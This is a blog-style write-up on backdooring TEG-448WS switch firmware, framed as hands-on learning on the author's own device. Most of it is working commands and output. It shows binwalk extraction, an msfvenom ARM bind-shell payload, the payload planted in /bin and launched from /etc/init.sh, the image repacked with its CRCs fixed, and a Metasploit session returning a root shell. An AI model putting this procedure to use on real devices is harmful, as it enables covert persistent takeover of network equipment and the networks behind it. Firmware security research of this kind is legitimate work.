Hello security enthusiasts and welcome to yet another security write up.
Today we are looking at reverse engineering and injecting a malicious payload inside an TEG-448WS smart switch. We have it laying around it and we considered exploring it and learning about the software and hardware of conventional switches.
We proceed to find the exact model and download the firmware from the vendor website. To install it, we simply have to upload it via the web application. It is a binary file and we proceed to analyse it with binwalk
:
root@kali:~/TEG448WS# binwalk TEG-448WS-1.00.18-ALL.hex
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
287170 0x461C2 VxWorks symbol table, big endian, first entry: [type: function, code address: 0xF00, symbol address: 0x17000100]
291500 0x472AC U-Boot version string, "U-Boot 1.1.4 (Aug 11 2015 - 18:55:16) Marvell version: 5.3.4_0006"
291688 0x47368 CRC32 polynomial table, little endian
460256 0x705E0 uImage header, header size: 64 bytes, header CRC: 0xFEE27398, created: 2016-12-19 08:08:27, image size: 1272988 bytes, Data Address: 0x8000, Entry Point: 0x8000, data CRC: 0x3CF8A40A, OS: Linux, CPU: ARM, image type: OS Kernel Image, compression type: none, image name: "Linux-2.6.22.18"
460320 0x70620 Linux kernel ARM boot executable zImage (little-endian)
472756 0x736B4 gzip compressed data, maximum compression, from Unix, last modified: 2016-12-19 08:08:23
1733392 0x1A7310 Squashfs filesystem, little endian, version 3.1, size: 9268685 bytes, 435 inodes, blocksize: 1048576 bytes, created: 2018-08-13
09:11:13
We have in our first segment what is a symbol table for VxWorks, which is a Real-Time operating system (RTOS). These operating systems running on fixed time constraints and are intended to be used in real-time application where buffer or time delays can negatively impact the throughput or render the service unusable.
Next we have the U-Boot version, it is simply a boot loader and the "Marvell version" tag refers to an ARM processor primarily used in embedded devices.
After that we have a CRC code which is basically an error detecting code, it can be used to verify the integrity of the file system. We will keep this in note since we will have to change it after modifying the file system, or finding a way to bypass it.
It's followed by the uImage
header. A uImage is simply an kernel image file that is wrapped around U-Boot. This uImage is wrapping around the whole zImage
, which contains the self-uncompressing image of the Linux Kernel.
We then have a simple gzip raw binary data as well as the file system, where we will inject our payload.
We proceed to extract all binaries with the -e flag:
root@kali:~/TEG448WS/_TEG-448WS-1.00.18-ALL.hex.extracted# ls -la
total 11644
drwxr-xr-x 3 root root 4096 May 14 12:04 .
drwxr-xr-x 3 root root 4096 May 14 12:49 ..
-rw-r--r-- 1 root root 9268685 May 14 12:04 1A7310.squashfs
-rw-r--r-- 1 root root 2639116 May 14 12:04 736B4
drwxrwxrwx 15 root root 4096 Jul 20 2012 squashfs-root
root@kali:~/TEG448WS/_TEG-448WS-1.00.18-ALL.hex.extracted# file *
1A7310.squashfs: Squashfs filesystem, little endian, version 768.256, uncompressed, 5436226525918988288 bytes, -1291780096 inodes, blocksize: 0 bytes, created: Thu Jan 1 00:00:00 1970
736B4: data
squashfs-root: directory
root@kali:~/TEG448WS/_TEG-448WS-1.00.18-ALL.hex.extracted#
We have the squashfs
file which is the compressed file system that was located at 0x1A7310
. It was automatically extracted by binwalk and presented as the squashfs-root folder.
We also have 736B4 which is simply raw data, it is the already decompressed gzip file found by binwalk at 0x736B4
.
The root file system is based on a busybox
distro, which is a tiny distro used mainly for embedded devices. We proceed to quickly enumerate the system and we copy the interesting files we want to analyze further, from them, some gz files, kernel modules and a binary called appDemo
.
root@kali:~/TEG448WS/_analyze# file *
appDemo: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 2.6.14, stripped
detect.sh: POSIX shell script, ASCII text executable
init.sh: POSIX shell script, ASCII text executable
issdefault.conf: gzip compressed data, from Unix, original size modulo 2^32 207755
mvKernelExt.ko: ELF 32-bit LSB relocatable, ARM, EABI5 version 1 (SYSV), not stripped
mvPpDrv.ko: ELF 32-bit LSB relocatable, ARM, EABI5 version 1 (SYSV), with debug_info, not stripped
We will now create a payload with msfvenom
and store it in our uncompressed file system. We search for a payload based on the ARM instruction set and in little endian.
root@kali:~/TEG448WS# msfvenom -l payloads | grep linux/armle
linux/armle/adduser Create a new user with UID 0
linux/armle/exec Execute an arbitrary command
linux/armle/meterpreter/bind_tcp Inject the mettle server payload (staged). Listen for a connection
linux/armle/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker
linux/armle/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/armle/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/armle/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/armle/shell/bind_tcp dup2 socket in r12, then execve. Listen for a connection
linux/armle/shell/reverse_tcp dup2 socket in r12, then execve. Connect back to the attacker
linux/armle/shell_bind_tcp Connect to target and spawn a command shell
linux/armle/shell_reverse_tcp Connect back to attacker and spawn a command shell
root@kali:~/TEG448WS# msfvenom -p linux/armle/shell_bind_tcp LPORT=30022 -f elf > firmware_backdoor
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: armle from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 208 bytes
Final size of elf file: 292 bytes
root@kali:~/TEG448WS# file firmware_backdoor
firmware_backdoor: ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, no section header
We will use firmware-mod-kit
, which is a very nice open source collection of tools to work with firmware's. We will the re-start the same process of ex-filtrating the firmware that we already did with binwalk but this time using the included tools in firmware-mod-kit, this way it will be easier to repack our file system, in the same way we unpacked it.
We start with unpacking the firmware, you will get some warnings, you can easily ignore them:
root@kali:~/TEG448WS/firmware-mod-kit# ./extract-firmware.sh TEG-448WS-1.00.18-ALL.hex
Firmware Mod Kit (extract) 0.99, (c)2011-2013 Craig Heffner, Jeremy Collake
Preparing tools ...
./common.inc: line 9: autoconf: command not found
In file included from untrx.cc:38:
untrx.h:44:3: warning: #warning "u_int32_t may be undefined. please define as 32-bit type." [-Wcpp]
44 | #warning "u_int32_t may be undefined. please define as 32-bit type."
| ^~~~~~~
In file included from splitter3.cc:39:
untrx.h:44:3: warning: #warning "u_int32_t may be undefined. please define as 32-bit type." [-Wcpp]
44 | #warning "u_int32_t may be undefined. please define as 32-bit type."
| ^~~~~~~
[...snip...]
684 | strncpy(obj->name, oh->name, NAME_MAX);
| ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Scanning firmware...
Scan Time: 2020-05-15 11:20:38
Target File: /root/TEG448WS/firmware-mod-kit/TEG-448WS-1.00.18-ALL.hex
MD5 Checksum: d87715afb342857cc9501943bcd9f97f
Signatures: 344
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
287170 0x461C2 VxWorks symbol table, big endian, first entry: [type: function, code address: 0xF00, symbol address: 0x17000100]
291500 0x472AC U-Boot version string, "U-Boot 1.1.4 (Aug 11 2015 - 18:55:16) Marvell version: 5.3.4_0006"
291688 0x47368 CRC32 polynomial table, little endian
460256 0x705E0 uImage header, header size: 64 bytes, header CRC: 0xFEE27398, created: 2016-12-19 08:08:27, image size: 1272988 bytes, Data Addr
ess: 0x8000, Entry Point: 0x8000, data CRC: 0x3CF8A40A, OS: Linux, CPU: ARM, image type: OS Kernel Image, compression type: none, image name: "Linux-2.6.22.18
"
472756 0x736B4 gzip compressed data, maximum compression, from Unix, last modified: 2016-12-19 08:08:23
1733392 0x1A7310 Squashfs filesystem, little endian, version 3.1, size: 9268685 bytes, 435 inodes, blocksize: 1048576 bytes, created: 2018-08-13
09:11:13
Extracting 1733392 bytes of header image at offset 0
Extracting squashfs file system at offset 1733392
Extracting 288 byte footer from offset 11002368
Extracting squashfs files...
Firmware extraction successful!
Firmware parts can be found in '/root/TEG448WS/firmware-mod-kit/fmk/*'
root@kali:~/TEG448WS/firmware-mod-kit# cd ./fmk/
root@kali:~/TEG448WS/firmware-mod-kit/fmk# ls -la
total 20
drwxr-xr-x 5 root root 4096 May 15 11:21 .
drwxr-xr-x 8 root root 4096 May 15 11:20 ..
drwxr-xr-x 2 root root 4096 May 15 11:20 image_parts
drwxr-xr-x 2 root root 4096 May 15 11:20 logs
drwxrwxrwx 15 root root 4096 Jul 20 2012 rootfs
Now that we have our fmk/
set up we proceed to add our payload in the /usr/bin folder and set it as executable:
root@kali:~/TEG448WS/firmware-mod-kit/fmk/rootfs/bin# cp ../../../../firmware_backdoor ./
root@kali:~/TEG448WS/firmware-mod-kit/fmk/rootfs/bin# chmod 777 firmware_backdoor
To execute after the machine boots up, we will simply add a bash command that runs our backdoor in the background:
root@kali:~/TEG448WS/firmware-mod-kit/fmk/rootfs# find ./ -name "*.sh"
./etc/init.sh
./etc/detect.sh
root@kali:~/TEG448WS/firmware-mod-kit/fmk/rootfs# nano ./etc/init.sh
We add /bin/firmware_backdoor &
in the script to run in the background. We proceed to rebuild the firmware, simply by running the build-firmware.sh
kit, you might in some warnings of this sort, we will work around it and remove some unused files.
ERROR: New firmware image will be larger than original image!
Building firmware images larger than the original can brick your device!
Try re-running with the -min option, or remove any unnecessary files.
REFUSING to create new firmware image.
Original file size: 11002656
Current file size: 11002640 (plus footer of 288 bytes)
Quitting...
Since we only have 4 bytes more than the original file, we will erase a couple of bytes in the /etc/motd
file, which is useless in the functionality of our program.
root@kali:~/TEG448WS/firmware-mod-kit# ./build-firmware.sh -nopad -min
Firmware Mod Kit (build) 0.99, (c)2011-2013 Craig Heffner, Jeremy Collake
Building new squashfs file system... (this may take several minutes!)
Squashfs block size is 1024 Kb
Parallel mksquashfs: Using 2 processors
Creating little endian 3.1 filesystem on /root/TEG448WS/firmware-mod-kit/fmk/new-filesystem.squashfs, block size 1048576.
[==============================================================================================================================================] 250/250 100%
Exportable Little endian filesystem, data block size 1048576, compressed data, compressed metadata, compressed fragments, duplicates are removed
Filesystem size 8954.49 Kbytes (8.74 Mbytes)
28.33% of uncompressed filesystem size (31604.06 Kbytes)
Inode table size 3536 bytes (3.45 Kbytes)
26.90% of uncompressed inode table size (13145 bytes)
Directory table size 4282 bytes (4.18 Kbytes)
56.92% of uncompressed directory table size (7523 bytes)
Number of duplicate files found 0
Number of inodes 435
Number of files 222
Number of fragments 3
Number of symbolic links 141
Number of device nodes 38
Number of fifo nodes 0
Number of socket nodes 0
Number of directories 34
Number of uids 1
root (0)
Number of gids 0
Padding of firmware image disabled via -nopad
Processing 1 header(s) from /root/TEG448WS/firmware-mod-kit/fmk/new-firmware.bin...
Processing header at offset 460256...checksum(s) updated OK.
CRC(s) updated successfully.
Finished!
New firmware image has been saved to: /root/TEG448WS/firmware-mod-kit/fmk/new-firmware.bin
Now that we have successfully injected our code in the firmware, we open our bind shell and catch a connection:
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/armle/shell_bind_tcp
payload => linux/armle/shell_bind_tcp
msf5 exploit(multi/handler) > set lport 30022
lport => 30022
msf5 exploit(multi/handler) > set rhost 192.168.2.252
rhost => 192.168.2.252
msf5 exploit(multi/handler) > exploit
[*] Started bind TCP handler against 192.168.2.252:30022
[*] Command shell session 1 opened (192.168.2.105:37148 -> 192.168.2.252:30022) at 2020-05-15 13:31:08 +0530
id
uid=0(root) gid=0
And we got ourselves a root shell on the switch!